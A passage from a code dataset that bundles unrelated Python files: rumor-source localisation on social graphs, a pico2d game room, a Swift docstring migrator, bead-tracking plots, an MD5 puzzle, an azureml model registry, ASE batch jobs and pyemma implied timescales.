print('在u为'+str(ulist)+'h为'+str(hlist)+'情况下的覆盖率'+str(ratio))\n return abs(ratio)\n\n\n\n else:\n #多源点,获得多源点的覆盖率\n circleNodesList=[]\n for u in ulist:\n circleNodesList.extend(list(nx.bfs_tree(infectionG, source=u, depth_limit=hlist).nodes))\n circleNodesListnew=list(set(circleNodesList))\n count = 0\n for i in circleNodesList:\n if i in singleRegionList:\n count = count + 1\n # count\n Intersection = list(set(circleNodesList).intersection(set(singleRegionList))) # 交集\n Union = list(set(circleNodesList).union(set(singleRegionList))) #并集\n ratios = len(Intersection) / len(Union)\n ratio = 1.0-ratios\n print('在u为' + str(ulist) + 'h为' + str(hlist) + '情况下的覆盖率' + str(ratio))\n\n return abs(ratio)\n\n\n\n\n\nimport sys\ndef getListfortxt(rootdir):\n lines = []\n with open(rootdir, 'r') as file_to_read:\n while True:\n line = file_to_read.readline()\n if not line:\n break\n line = line.strip('\\n')\n lines.append(line)\n\n lists = [x for x in lines if x != []]\n return lists\n\n\n\n'''\nthis function : to get sourcelist fo everyRegionList and caluce every distance of source and result\n\n\n'''\n\n\nimport math\ndef multiplePartion(mutiplelist,infectionG,rumorSourceList):\n\n #所有单源list\n allsigleSourceList=[]\n allSigleSourceListNum=[2,1]\n\n #将第一个传播区域定下来。\n import datetime\n starttime = datetime.datetime.now()\n # long running,这里可以读的文件代替,就比较省时间。反正都是为了allsigleSourcellist填充\n\n\n ''' 这个是保留项,我觉得反转算法有点问题,反正(u,h是写完了),下面这个很好时间'''\n for sigleReionlist in mutiplelist:\n allsigleSourceList.append(findmultiplesource(sigleReionlist, infectionG,rumorSourceList))\n\n\n\n\n\n\n #构建关于这个社区的传播子图\n tempGraph1 = nx.Graph()\n for edge in infectionG.edges:\n # if infectG.adj[edge[0]][edge[1]]['Infection']==2: #作为保留项。\n if edge[0] in mutiplelist[0] and edge[1] in mutiplelist[0]:\n tempGraph1.add_edges_from([edge], weight=1)\n print('这个感染区域的传播子图边个数')\n print(tempGraph1.number_of_edges())\n print (tempGraph1.number_of_nodes())\n\n\n\n\n resultSource=[]\n # allsigleSourceList=[[(472, 5397), 3, 0.08817960508520417]]\n #现在已经返回关于每个社区的源点及其社区了,开始画图吧。\n print ('最后我们找到的误差率最低的的每个分区的圆点和他的h是'+str(allsigleSourceList))\n\n\n\n for sigleRegionSource in allsigleSourceList:\n if isinstance(sigleRegionSource[0], int): #单源点\n print('算出来的误差率最低单源点情况---------------------------')\n source3 = revsitionAlgorithm(sigleRegionSource[0], sigleRegionSource[1], infectionG,infectionG)\n print('用反转算法计算出来的单源点为' + str(source3))\n resultSource.append(source3)\n elif len(sigleRegionSource[0])==2:\n print ('算出来的误差率最低2源点情况---------------------------')\n source1 = revsitionAlgorithm(sigleRegionSource[0][0], sigleRegionSource[1], infectionG, infectionG)\n source2 = revsitionAlgorithm(sigleRegionSource[0][1], sigleRegionSource[1], infectionG, infectionG)\n print('用反转算法计算出来的源点为' + str(source2) + str(source1))\n resultSource.append(source1)\n resultSource.append(source2)\n\n elif len(sigleRegionSource[0])==3:\n print('算出来的误差率最低3源点情况---------------------------')\n source1 = revsitionAlgorithm(sigleRegionSource[0][0], sigleRegionSource[1], infectionG, infectionG)\n source2 = revsitionAlgorithm(sigleRegionSource[0][1], sigleRegionSource[1], infectionG, infectionG)\n source3=revsitionAlgorithm(sigleRegionSource[0][2], sigleRegionSource[1], infectionG, infectionG)\n print('用反转算法计算出来的源点为' + str(source2) + str(source1))\n resultSource.append(source1)\n resultSource.append(source2)\n resultSource.append(source3)\n\n\n\n print ('总的用反转算法算出来的结果为'+str(resultSource))\n\n\n errordistanceFor=[]\n #上面这两个,可以干一架了。\n for turesourcelist in rumorSourceList: #真实源\n everydistion=[]\n for resultsourceindex in resultSource: #自己算法找出的源。\n everydistion.append(nx.shortest_path_length(infectionG,source=turesourcelist,target=resultsourceindex))\n everydistion.sort()\n print ( everydistion)\n errordistanceFor.append( everydistion[0])\n\n multipdistance=0\n for error in errordistanceFor:\n multipdistance=multipdistance+error\n\n\n # errordistance=nx.shortest_path_length(infectionG,source=resultSource[0],target=rumorSourceList[0])\n print ('误差距离为'+str( multipdistance))\n return multipdistance/len(errordistanceFor)\n\n # do something other\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#设计反向传播算法,接收参数。u,h,infectG。\ndef revsitionAlgorithm(u,h,infectG,subinfectG):\n print ('反转算法参数,u和h'+str(u)+'----------'+str(h))\n nodelist=list(nx.bfs_tree(subinfectG,source=u,depth_limit=h).nodes)\n source1G=nx.Graph() #构建新的单源传播圆出来\n for edge in subinfectG.edges:\n if edge[0] in nodelist and edge[1] in nodelist:\n source1G.add_edge(edge[0],edge[1])\n\n print ('传播子图为source1G,它的点数和边数为'+str(source1G.number_of_nodes())+'-------'+str(source1G.number_of_edges()))\n #在nodelist找出源点来。\n times=6 #时间刻多点\n IDdict={}\n IDdict_dup = {}\n # 先赋予初始值。\n for node in list(source1G.nodes):\n # subinfectG.node[node]['ID']=list(node) #赋予的初始值为list\n IDdict[node]=[node]\n IDdict_dup[node] = [node]\n allnodelist_keylist = [] #包含所有接受全部节点id的键值对的key\n for t in range(times):\n print ('t为'+str(t)+'的时候-----------------------------------------------------------------------------')\n for node in nodelist: #对每一个节点来说\n for heighbour in list(source1G.neighbors(node)): #对每一个节点的邻居来说\n retD=list(set(IDdict[heighbour]).difference(set( IDdict[node]))) #如果邻居中有这个node没有的,那就加到这个node中去。\n if len(retD)!=0: #表示在B中,但不在A.是有的,那就求并集\n #求并集,把并集放进我们的retC中。\n # print ('并集就是可使用'+str(retD))\n retC = list(set(IDdict[heighbour]).union(set(IDdict[node])))\n IDdict_dup[node] = list(set(IDdict_dup[node] + retC)) #先用一个dict把结果装入,然后这个时间过去再加回去。\n\n for key, value in IDdict_dup.items():\n IDdict[key] = IDdict_dup[key]\n # for key, value in IDdict.items():\n # print(key, value)\n #在每一个时间刻检查是否有节点满足获得所有的id了。\n\n flag=0\n for key, value in IDdict.items():\n # d.iteritems: an iterator over the (key, value) items\n if sorted(IDdict[key])==sorted(nodelist):\n print ('在t为'+str(t)+'的时间的时候,我们有了接受全部node的ID的人')\n print ('它的key为'+str(key))\n allnodelist_keylist.append(key)\n print ('有了接受所有的节点了这样的节点了')\n flag=1\n\n if flag==1:\n break\n # print (IDdict)\n print (allnodelist_keylist)\n\n result=0\n resultlist=[]\n #如果在一个t的时候只有一个点。那就认为是节点,否则认为是多个节点。就要排序了\n if len(allnodelist_keylist)==1:\n print ('那就是这个源点了')\n result=allnodelist_keylist[0]\n else:\n #构建样本路径\n print ('构建样本路径看看')\n jarcenlist=[]\n for i in allnodelist_keylist:\n jarcenlist.append([i,nx.eccentricity(source1G,i)]) #按照离心率进行排序,最小离心率的就是源点。\n resultlist = sorted(jarcenlist, key=lambda x: x[1])\n result=resultlist[0][0]\n print('构建样本路径之后结果为'+str(resultlist[0][0]))\n\n\n\n\n\n return result\n # print (nx.shortest_path_length(subinfectG,result,u)) #0\n # print (nx.shortest_path_length(subinfectG,125,result) )# 2\n # print(nx.shortest_path_length(subinfectG, 4022, result)) # 8\n #\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#\n#\n#\n# rumorSourceList=contractSource(G,3,5) #产生源点。图,源点个数,源点差距距离。\n# hlist=[3,2] #不同传播区域传播深度,\n# infectG=Algorithm1(G,rumorSourceList,5,hlist ) #产生感染图,深度是3\n#\n# #gephi 查看infectG转成csv情况。\n# ConvertGToCsv(infectG,'G.csv')\n# subinfectG=nx.Graph()\n# count=1\n# count1=1\n# for edge in infectG.edges:\n# # print (edge)\\\n# if infectG.adj[edge[0]][edge[1]]['Infection']==1:\n# count1 =count1+1\n# if infectG.adj[edge[0]][edge[1]]['Infection']==2:\n# count = count + 1\n# subinfectG.add_edges_from([(edge[0],edge[1])],weight= 1)\n#\n# print (count)\n# print (count1)\n# # 因为邮件是一个有向图,我们这里构建的是无向图。\n# print('传染子图的顶点个数', subinfectG.number_of_nodes())\n# print('传染子图的边个数', subinfectG.number_of_edges())\n#\n#\n# ConvertGToCsvSub(subinfectG,'SubInfectionG.csv')\n# #\n# #检测是否是有相互感染到。\n#\n# print (nx.shortest_path(G, rumorSourceList[0], rumorSourceList[1], weight='weight'))\n# print (nx.shortest_path(subinfectG, rumorSourceList[0], rumorSourceList[1], weight='weight')) #在子图中有路径,就是感染到了。\n#\n# if nx.has_path(subinfectG,rumorSourceList[1],rumorSourceList[2])==False:\n# if nx.has_path(subinfectG,rumorSourceList[0],rumorSourceList[2])==False:\n# print('========================================================================')\n# print ('这里的第3个点,跟他们都没有路径相连。可以的')\n# else:\n# print ('========================================================================')\n# print ('这里的第3个点,不行的,很烦')\n# # print (nx.shortest_path(subinfectG, rumorSourceList[1], rumorSourceList[2], weight='weight')) #这个报错就是第三个point并没有被感染到的意思。\n#\n# #now to practice single-multiple source Partition.Get ture parition\n#\n#\n#\n# # if 769 in list(infectG.nodes):\n# # print ('明明就在')\n# multipList=getmultipleCommunity(infectG)\n# multiplePartion(multipList, infectG,rumorSourceList)\n#\n#\n#\n# #产生一组模拟两源数据的,然后计算平均值。\n#\n#\n#\n#\n#\n#\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plotform(x,y):\n\n\n\n\n x = range(1,4)\n y_train = [1.3, 1.4, 1.5333333333333332]\n y_test = [2.53, 2,31, 2.12]\n # plt.plot(x, y, 'ro-')\n # plt.plot(x, y1, 'bo-')\n # pl.xlim(-1, 11) # 限定横轴的范围\n # pl.ylim(-1, 110) # 限定纵轴的范围\n\n plt.plot(x, y_train, marker='o', mec='r', mfc='w', label='our method')\n plt.plot(x, y_test, marker='*', ms=10, label='other method')\n plt.legend() # 让图例生效\n\n\n plt.margins(0)\n plt.subplots_adjust(bottom=0.10)\n plt.xlabel('Number of sources') # X轴标签\n plt.ylabel(\"Average error (in hops)\") # Y轴标签\n plt.title(\"Wiki-Vote data\") #标题\n plt.savefig('f1.png')\n plt.show()\n\n\nimport datetime\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n\n starttime = datetime.datetime.now()\n '''\n\n 1 产生一个社区,无非就是源点从1到5.然后用我们这种方式\n 判断准确率。\n '''\n\n #1 产生这个图。\n\n # 制造这个图\n Ginti = nx.Graph()\n # 初始化图,加很多节点\n # for index in range(1,1005):\n # print (index)\n # Ginti.add_node(index)\n\n # 构建图,这个图是有有效距离的。\n G = ContractDict('../data/facebook_combined.txt', Ginti)\n\n # 因为邮件是一个有向图,我们这里构建的是无向图。\n print('一开始图的顶点个数', G.number_of_nodes())\n print('一开始图的边个数', G.number_of_edges())\n\n # 先给全体的Cn、Scn,time的0的赋值。\n for node in list(G.nodes):\n G.add_node(node, SI=1)\n\n # 初始化所有边是否感染。Infection\n for edge in list(G.edges):\n G.add_edge(edge[0], edge[1], Infection=1)\n\n print ('这个图产生完毕')\n\n\n\n sourceList=[]\n # 从1个源点产生到5个源点。但都是有交集的。按照交叉领域来比较?\n #\n # for sourceNumber in range(1,4):\n # sourceList.append(contractSource(G,sourceNumber,2))\n # print (sourceList)\n #\n # print ('产生3源点成功------------------------------------------')\n\n\n#产生10次,每次都有误差,计算出来。并统计。\n\n\n for i in range(1,11):\n sourceList.append(contractSource(G,2,2))\n\n errordistanceList=[] #误差集合。\n errorSum=0\n\n #对每一个单源点都有这个操作。\n for singleSource in sourceList:\n # 先给全体的Cn、Scn,time的0的赋值。\n for node in list(G.nodes):\n G.add_node(node, SI=1)\n # 初始化所有边是否感染。Infection\n for edge in list(G.edges):\n G.add_edge(edge[0], edge[1], Infection=1)\n #开始之前都要刷新这个图,\n infectG = Algorithm1(G, singleSource, 5, 6)\n print ('源点传��成功')\n # 找社区,按照代理,只能找到一个社区的。\n multipList = getmultipleCommunity(infectG)\n errordistance=multiplePartion(multipList, infectG,singleSource)\n errorSum=errorSum+errordistance\n errordistanceList.append(errordistance)\n print ('误差集合为'+str(errordistanceList))\n print (errorSum/10)\n\n #long running\n\n endtime = datetime.datetime.now()\n print ('执行了这么长时间')\n print ((endtime - starttime).seconds)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"jarden_center/main_code/single-multiple-source/baseon_setCover/we_heuristic_algorithm.py","file_name":"we_heuristic_algorithm.py","file_ext":"py","file_size_in_byte":33057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"159642131","text":"import game_framework\nimport title_state\nfrom pico2d import *\nimport map_01\nimport Character\nimport main_state\nimport All_map\nimport First_left_state\nimport First_right_state\n\n\nimage = None\nBackground = None\nboy = None\nenemy = None\ncount = 0\n\ndef collision(a,aa,bb,cc,dd):\n left_a, bottom_a, right_a, top_a = a.get_bb()\n left_b, bottom_b, right_b, top_b = (aa,bb,cc,dd)\n\n if left_a > right_b: return False\n if right_a < left_b: return False\n if top_a > bottom_b: return False\n if bottom_a < top_b: return False\n\n return True\n\n\ndef enter():\n global boy, Background,count\n Background = map_01.TileMap('Maps\\\\1F_left_nursing_room.json', map_01.canvasWidth, map_01.canvasHeight)\n\n\n for i in Background.obj_data_list:\n count += 1\n print(i)\n if i[0] == \"left_start\":\n print(count)\n\n\n if All_map.First_Floor_left: # 이전 방이 왼쪽이였다면\n boy = Character.Charater((Background.obj_data_list[1][3] + Background.obj_data_list[1][1]) // 2,\n (Background.obj_data_list[1][4] + Background.obj_data_list[1][2]) // 2)\n\n All_map.x = (Background.obj_data_list[1][3] + Background.obj_data_list[1][1]) // 2\n All_map.y = (Background.obj_data_list[1][4] + Background.obj_data_list[1][2]) // 2\n\n All_map.First_Floor_center = False\n All_map.First_Floor_left = False\n All_map.First_Floor_center = False\n All_map.First_Floor_left_nursing = True\n\n # 현재 캐릭터 좌표, 타일위치를 저장\n All_map.character_x = boy.x\n All_map.character_y = boy.y\n All_map.character_x_tile = boy.x // 32\n All_map.character_y_tile = boy.y // 32\n\n\ndef exit():\n pass\n\ndef update(frame_time):\n handle_events(frame_time)\n Background.update(frame_time)\n boy.update(frame_time)\n for i in Background.obj_data_list:\n if i[0] == \"exit\":\n if collision(boy, i[1],i[2],i[3],i[4]):\n game_framework.change_state(First_left_state)\n #enemy.update(frame_time, boy.pos)\n\n All_map.character_x = boy.x\n All_map.character_y = boy.y\n All_map.character_x_tile = boy.x // 32\n All_map.character_y_tile = boy.y // 32\n\n\ndef draw(frame_time):\n # Game Rendering\n clear_canvas()\n Background.draw()\n boy.draw()\n draw_rectangle(boy.left_a, boy.bottom_a, boy.right_a, boy.top_a)\n # draw_rectangle(enemy.left_a, enemy.bottom_a, enemy.right_a, enemy.top_a)\n update_canvas()\n #enemy.draw()\n\n\ndef handle_events(frame_time):\n events = get_events()\n for event in events:\n if event.type == SDL_QUIT:\n game_framework.quit()\n elif (event.type, event.key) == (SDL_KEYDOWN, SDLK_ESCAPE):\n game_framework.quit()\n else:\n Background.handle_events(event)\n boy.handle_event(event)\n\n\ndef pause(): pass\n\n\ndef resume(): pass\n\n\n\n\n","sub_path":"Presentation/PPT data/2차 발표 데이터/School_escape/Frist_left_nursing_state.py","file_name":"Frist_left_nursing_state.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"18174284","text":"# usage:\n# IFS=$'\\n' find ROOT_SOURCE_FOLDER -name \"*.swift\" -exec python PATH/TO/migrate.py {} \\;\nimport sys\nimport re\n\nfunc = re.compile('func\\s+\\w+\\(')\nparam = re.compile('(?P\\s*)/// -[ ]*[pP]arameter[ ]+(?P\\w+)[ ]*:(?P[^\\n]+)\\n')\nret = re.compile('(?P\\s*)/// -[ ]*[rR]eturns[ ]*:(?P[^\\n]+)\\n')\ncontinuation = re.compile('\\s*///(?P[^\\n]+)')\n\ndef find_docstrings(lines):\n result = []\n for i, line in enumerate(lines):\n if not func.search(line):\n continue\n j = i - 1\n while j >= 0 and lines[j].strip().startswith('///'):\n j -= 1\n\n if j + 1 < i:\n result.append((j+1, i))\n return result\n\nif __name__ == '__main__':\n for path in sys.argv[1:]:\n source = []\n with open(path) as source_file:\n source = source_file.readlines()\n docstring_ranges = find_docstrings(source)\n\n target = []\n start = 0\n for r in docstring_ranges:\n target += source[start: r[0]]\n\n description_ended = False\n D = 0\n P = 1\n R = 2\n stage = D\n parameter_continue = False\n description = []\n parameters = []\n returns = []\n for line in [source[i] for i in xrange(r[0], r[1])]:\n params = param.search(line)\n if params:\n stage = P\n parameters.append(params.groupdict())\n continue\n rets = ret.search(line)\n if rets:\n stage = R\n returns.append(rets.groupdict())\n continue\n\n if stage == D:\n description.append(line)\n continue\n else:\n cont = continuation.search(line)\n if cont:\n cont_description = cont.groupdict()['description']\n if stage == P:\n indent = parameters[-1]['indent']\n original_desc = parameters[-1]['description']\n next_line = '{}///{}'.format(indent, cont_description[8:])\n parameters[-1]['description'] = original_desc + '\\n' + next_line\n elif stage == R:\n indent = returns[-1]['indent']\n original_desc = returns[-1]['description']\n next_line = '{}///{}'.format(indent, cont_description[8:])\n returns[-1]['description'] = original_desc + ' ' + cont_description\n\n target += description\n if parameters:\n if len(parameters) == 1:\n target.append(\"{indent}/// - Parameter {name}:{description}\\n\".format(**parameters[0]))\n else:\n target.append(\"{}/// - Parameters:\\n\".format(parameters[0]['indent']))\n for p in parameters:\n target.append(\"{indent}/// - {name}:{description}\\n\".format(**p))\n if returns:\n target.append(\"{}///\\n\".format(returns[0][\"indent\"]))\n target.append(\"{indent}/// - Returns:{description}\\n\".format(**returns[0]))\n start = r[1]\n\n target += source[start:]\n\n with open(path, 'w') as target_file:\n target_file.write(''.join(target))\n","sub_path":"all-gists/cf0d5e8ac8f8effe90e71b8ccf76ebf4/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"588353306","text":"import os\nimport matplotlib.pyplot as plt\nimport functions as func\nimport glob\nimport numpy as np\nimport pandas as pd\nimport matplotlib.cm as cm\n\ndata_path = \"C:\\\\Users\\\\tbrouwer\\\\Desktop\\\\Test4\\\\re-calc\\\\\"\nanalysis_path = data_path\n\ncorrect_global_drift = False\n\ntrackbin_files = []\nos.chdir(data_path)\nfor file in glob.glob(\"*.dat\"):\n trackbin_files.append(file)\n\nfor n, file in enumerate(trackbin_files):\n\n # files\n datfile = data_path + file\n\n # read dataframe\n df = pd.read_csv(datfile, sep=\"\\t\")\n headers = list(df)\n\n # get number of beads\n beads = headers[len(headers) - 1]\n beads = func.get_int(beads)\n\n # correct global drift\n time = np.array(df['Time (s)'])\n freq = 1 / np.median(np.diff(time))\n\n drift = []\n for i in range(beads):\n z_drift = np.array(df['Z' + str(i) + ' (um)'])\n amplitude_drift = np.array(df['Amp' + str(i) + ' (a.u.)'])\n\n rupt = func.rupture(time, amplitude_drift)\n if rupt == False:\n drift.append(func.drift_self(z_drift, time))\n\n drift = float(np.median(drift))\n\n print(\"Processing file: \" + str(file) + \" (drift: \" + str(round(drift, 2)) + \" nm/s)\")\n\n AV_data = []\n for bead in range(beads):\n\n # print(\"Processing bead \" + str(bead))\n\n Z_meas = \"Z\" + str(bead) + \" (um)\"\n Z = np.array(df[Z_meas])\n\n # corrections\n if correct_global_drift == True:\n Z = Z - (drift / 1000) * time\n\n if bead == 0:\n # Z-=np.mean(Z)\n plt.plot(Z,label=file)\n\n # save the timetrace\n # plt.figure(0)\n # plt.plot(time,Z)\n # plt.xlabel(\"Time (s)\")\n # plt.ylabel(\"Extension ($\\mu$m)\")\n # plt.title(file)\n\n # plt.savefig(analysis_path+\"timetrace_\"+file[:-4])\n # plt.close()\nplt.legend()\nplt.show()","sub_path":"Tracking/evaluate_dataset.py","file_name":"evaluate_dataset.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"173039707","text":"import hashlib\nimport itertools\n\ndef md5(s):\n return hashlib.md5(s).hexdigest()\n\nwith open(\"input\", \"rb\") as file:\n key = file.read().strip()\n\nfor size in (5,6):\n target = \"0\"*size\n for i in itertools.count(1):\n s = key + str(i).encode()\n if md5(s).startswith(target):\n print(i)\n break","sub_path":"04/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"253837615","text":"import importlib\nimport re\nimport inspect\n\nfrom abc import ABCMeta\n\nfrom .constants import ModelSpecConstants\nfrom .logger import get_logger\n\nlogger = get_logger(__name__)\n\n\ndef _get_default_flavor_name(cls):\n \"\"\"\n Get flavor name from class\n :param cls: class\n :return: The module name right after \"builtin_models\" module path\n >>> cls1 = azureml.designer.model.builtin_models.sklearn.SklearnModel\n >>> _get_default_flavor_name(cls1)\n SklearnModel\n >>> cls2 = azureml.designer.model.builtin_models.pytorch.cloudpickle\n >>> _get_default_flavor_name(cls2)\n pytorch\n \"\"\"\n module_name = cls.__module__\n root_module_name = \"azureml.designer.model.builtin_models.\"\n flavor = module_name.replace(root_module_name, \"\")\n if \".\" in flavor:\n flavor = re.sub(r\"\\..+\", \"\", flavor)\n return flavor\n\n\ndef _get_flavor_key(flavor):\n key = f'{flavor[ModelSpecConstants.FLAVOR_NAME_KEY]},{flavor[ModelSpecConstants.SERIALIZATION_METHOD_KEY]}'\n return key\n\n\nclass BuiltinModelMeta(ABCMeta):\n def __init__(cls, name, bases, attr_dict):\n super().__init__(name, bases, attr_dict)\n if inspect.isabstract(cls):\n return\n flavor = cls.flavor\n if not flavor[ModelSpecConstants.FLAVOR_NAME_KEY]:\n flavor[ModelSpecConstants.FLAVOR_NAME_KEY] = _get_default_flavor_name(cls)\n if cls.serialization_method:\n flavor[ModelSpecConstants.SERIALIZATION_METHOD_KEY] = cls.serialization_method\n\n if flavor[ModelSpecConstants.FLAVOR_NAME_KEY] is None:\n raise TypeError(f\"Builtin model {cls} should be have a flavor name\")\n\n key = _get_flavor_key(flavor)\n if key in FlavorRegistry.flavors:\n raise TypeError(f\"{key} in {cls} is not a unique flavor name\")\n\n logger.info(f\"register {key} to flavor registry\")\n FlavorRegistry.flavors[key] = cls\n\n\nclass FlavorRegistry(object):\n # flavor_key -> cls\n flavors = dict()\n\n @classmethod\n def get_flavor(cls, flavor_name, serialization_method=None):\n key = f\"{flavor_name},{serialization_method}\"\n if key not in FlavorRegistry.flavors:\n module_name = f\"{__package__}.builtin_models.{flavor_name}.{serialization_method}\"\n try:\n importlib.import_module(module_name)\n except ModuleNotFoundError:\n logger.warning(f\"Not found module: {module_name}\")\n\n if key not in FlavorRegistry.flavors:\n return None\n return FlavorRegistry.flavors[key]\n\n @classmethod\n def supported_flavors(cls, flavor_name=None):\n if not flavor_name:\n return FlavorRegistry.flavors.items()\n else:\n return [FlavorRegistry.flavors[key] for key in FlavorRegistry.flavors if\n FlavorRegistry.flavors[key].flavor[ModelSpecConstants.FLAVOR_NAME_KEY] == flavor_name]\n\n\nclass ModelFactory(object):\n\n @classmethod\n def get_model_class(cls, flavor) -> type:\n flavor_name = flavor[ModelSpecConstants.FLAVOR_NAME_KEY].lower()\n if flavor_name == ModelSpecConstants.CUSTOM_MODEL_FLAVOR_NAME:\n module_path = flavor[ModelSpecConstants.MODEL_MODULE_KEY]\n class_name = flavor[ModelSpecConstants.MODEL_CLASS_KEY]\n module = importlib.import_module(module_path)\n return getattr(module, class_name)\n\n flavor_cls = FlavorRegistry.get_flavor(flavor_name, flavor[ModelSpecConstants.SERIALIZATION_METHOD_KEY])\n return flavor_cls\n","sub_path":"src/azureml-designer-model/azureml/designer/model/model_factory.py","file_name":"model_factory.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"88478016","text":"from ase.io import read, write\nimport pickle\nimport argparse\nimport subprocess\nimport os\n\n\n\nsubprocess.run('touch .start', shell=True)\n\n# Parser input:\nparser = argparse.ArgumentParser()\nparser.add_argument('start', type=int)\nparser.add_argument('range', type=int, default=None)\nparser.add_argument('traj_file', type=str)\nparser.add_argument('jobID', type=int)\nargs = parser.parse_args()\n\nwith open('calc.pckl', 'rb') as pickle_file:\n calc = pickle.load(pickle_file)\n\ntop_folder = os.getcwd()\nscratch_folder = '/scratch/{}/'.format(args.jobID)\n\nstart = args.start * args.range\nstop = (args.start+1) * args.range\n\n# Get atoms object\nfor j in range(start, stop):\n print('Starting calculation for job: {}'.format(j), flush=True)\n atoms = read(args.traj_file, index=j)\n cur_folder = top_folder + '/job_{}/'.format(j)\n\n\n if os.path.exists(cur_folder+'atoms.traj'):\n print('File already exists, continuing', flush=True)\n continue\n \n if not os.path.exists(cur_folder):\n try:\n os.mkdir(cur_folder)\n except:\n pass\n \n os.chdir(scratch_folder)\n atoms.set_calculator(calc)\n \n E = atoms.get_potential_energy()\n F = atoms.get_forces()\n D = atoms.get_dipole_moment()\n write(cur_folder+'atoms.traj', atoms)\n\n subprocess.run('cp *.out {}'.format(cur_folder+'.'), shell=True)\n subprocess.run('touch {}.finished'.format(cur_folder), shell=True)\n\n print('Finished job: {}'.format(j), flush=True)\n\n os.chdir(top_folder)\n\n\n","sub_path":"calculate_range.py","file_name":"calculate_range.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"180216915","text":"'''\nCreated on Jul 26, 2014\n\n@author: noe\n'''\n__docformat__ = \"restructuredtext en\"\n\n__all__=['ImpliedTimescales']\n\nimport numpy as np\n\nfrom pyemma.msm.estimation import cmatrix, connected_cmatrix, tmatrix, bootstrap_counts\nfrom pyemma.msm.analysis import timescales\nfrom pyemma.util.statistics import confidence_interval\n\n#TODO: connectivity is currently not used. Introduce different connectivity modes (lag, minimal, set)\n#TODO: if not connected, might add infinity timescales.\n#TODO: Timescales should be assigned by similar eigenvectors rather than by order\nclass ImpliedTimescales(object):\n \n # estimated its. 2D-array with indexing: lagtime, its\n _its = None\n # sampled its's. 3D-array with indexing: lagtime, its, sample\n _its_samples = None\n \n \n def __init__(self, dtrajs, lags = None, nits = 10, connected = True, reversible = True):\n r\"\"\"Calculates the implied timescales for a series of lag times.\n \n Parameters\n ----------\n dtrajs : array-like or list of array-likes\n discrete trajectories\n lags = None : array-like with integers\n integer lag times at which the implied timescales will be calculated\n k = 10 : int\n number of implied timescales to be computed. Will compute less if the number of\n states are smaller\n connected = True : boolean\n compute the connected set before transition matrix estimation at each lag\n separately\n reversible = True : boolean\n estimate the transition matrix reversibly (True) or nonreversibly (False)\"\"\"\n # initialize\n self._dtrajs = dtrajs\n self._connected = connected\n self._reversible = reversible\n # maximum trajectory length and number of states\n\n # Check if input was array or list of arrays\n if np.ndim(dtrajs) < 2:\n # We we were only parsed an array\n dtrajs=[dtrajs]\n lengths = np.zeros(len(dtrajs))\n\n n = 0\n for i in range(len(dtrajs)):\n lengths[i] = len(dtrajs[i])\n n = max(n, np.max(dtrajs[i]))\n # maximum number of timescales\n self._nits = min(nits, n)\n # lag time\n if (lags is None):\n maxlag = 0.5 * np.sum(lengths) / float(len(lengths))\n self._lags = self.__generate_lags__(maxlag, 1.5)\n else:\n self._lags = lags\n # estimate\n self.__estimate__()\n\n \n def __generate_lags__(self, maxlag, multiplier):\n r\"\"\"Generate a set of lag times starting from 1 to maxlag, \n using the given multiplier between successive lags\n \n \"\"\"\n # determine lag times\n lags = []\n # build default lag list\n lags.append(1)\n lag = 1.0\n while (lag <= maxlag):\n lag = round(lag * multiplier)\n lags.append(int(lag)) \n return lags\n\n\n def __C_to_ts__(self, C, tau):\n r\"\"\"Estimate timescales from the given count matrix.\n \n \"\"\"\n # connected set\n C = (connected_cmatrix(C)).toarray()\n if (len(C) > 1):\n # estimate transition matrix\n T = tmatrix(C, reversible=self._reversible)\n # timescales\n ts = timescales(T, tau, k=min(self._nits, len(T))+1)[1:]\n return ts\n else:\n return None # no timescales available\n \n \n def __estimate__(self):\n r\"\"\"Estimates ITS at set of lagtimes\n \n \"\"\"\n # initialize\n self._its = np.zeros((len(self._lags), self._nits))\n for i in range(len(self._lags)):\n tau = self._lags[i]\n # estimate count matrix\n C = cmatrix(self._dtrajs, tau)\n # estimate timescales\n ts = self.__C_to_ts__(C, tau)\n if (ts is None):\n raise RuntimeError('Could not compute a single timescale at tau = '+str(tau)+\n '. Probably a connectivity problem. Try using smaller lagtimes')\n if (len(ts) < self._nits):\n raise RuntimeError('Could only compute '+str(len(ts))+' timescales at tau = '+str(tau)+\n ' instead of the requested '+str(self._nits)+'. Probably a '+\n ' connectivity problem. Request less timescales or smaller lagtimes')\n self._its[i,:] = ts\n\n \n def bootstrap(self, nsample=10):\n r\"\"\"Samples ITS using bootstrapping\n \n \"\"\"\n # initialize\n self._its_samples = np.zeros((len(self._lags), self._nits, nsample))\n for i in range(len(self._lags)):\n tau = self._lags[i]\n sampledWell = True\n for k in range(nsample):\n # sample count matrix\n C = bootstrap_counts(self._dtrajs, tau)\n # estimate timescales\n ts = self.__C_to_ts__(C, tau)\n # only use ts if we get all requested timescales\n if (ts != None):\n if (len(ts) == self._nits):\n self._its_samples[i,:,k] = ts\n else:\n sampledWell = False\n else:\n sampledWell = False\n if (not sampledWell):\n raise RuntimeWarning('Could not compute all requested timescales at tau = '+str(tau)+\n '. Bootstrap is incomplete and might be non-representative.'+\n ' Request less timescales or smaller lagtimes')\n\n \n\n def get_lagtimes(self):\n r\"\"\"Return the list of lag times for which timescales were computed.\n \n \"\"\"\n return self._lags\n\n\n 